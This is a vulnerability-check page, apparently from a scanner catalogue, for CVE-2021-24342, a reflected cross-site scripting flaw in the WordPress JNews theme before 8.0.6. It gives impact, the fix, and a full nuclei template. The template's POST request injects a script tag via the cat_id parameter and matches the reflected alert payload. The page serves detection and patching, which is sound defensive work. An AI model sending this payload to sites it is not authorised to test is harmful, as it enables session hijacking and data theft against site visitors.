WordPress JNews Theme <8.0.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.

How to confirm it

Send: GET /wp-content/themes/jnews/readme.txt
Positive when: contains "Change Log:" and "JNews -"
Send: POST /?ajax-request=jnews
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "Content-Type: text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24342 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24342

info:
  name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24342
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24342
    cwe-id: CWE-79
    epss-score: 0.01975
    epss-percentile: 0.80655
    cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: jnews
    product: jnews
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,jnews,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/themes/jnews/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Change Log:'
          - 'JNews -'
        condition: and

  - raw:
      - |
        POST /?ajax-request=jnews HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - 'Content-Type: text/html'

      - type: status
        status:
          - 200

References

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